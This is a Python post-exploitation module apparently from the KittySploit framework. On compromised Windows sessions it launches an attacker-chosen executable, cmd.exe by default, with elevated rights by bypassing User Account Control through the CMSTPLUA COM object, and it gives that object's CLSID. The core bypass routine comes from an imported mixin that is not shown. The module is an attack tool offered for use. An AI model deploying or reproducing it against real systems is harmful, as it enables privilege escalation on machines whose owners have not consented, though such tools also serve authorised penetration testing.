Windows UAC Bypass — CMSTPLUA COM

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *

from lib.post.windows.uac_bypass import UAC_AGENT, UacBypassMixin


class Module(Post, UacBypassMixin):
    __info__ = {
        "name": "Windows UAC Bypass — CMSTPLUA COM",
        "description": (
            "UAC bypass via CMSTPLUA COM object (ShellExecute runas) — "
            "CLSID 3E5FC7F9-9A51-4367-9063-A120244FBEC7."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "agent": UAC_AGENT,
    }

    command = OptString("cmd.exe", "Executable to launch elevated via CMSTPLUA", True)

    def run(self):
        if not self.uac_require_windows():
            return False
        if self.uac_is_admin():
            print_success("Already elevated.")
            return True
        cmd = self.uac_default_command()
        if not cmd:
            raise ProcedureError(FailureType.ConfigurationError, "Set option 'command'.")
        ok = self.uac_bypass_cmstplua(cmd)
        if ok:
            print_success("CMSTPLUA UAC bypass attempted.")
        return ok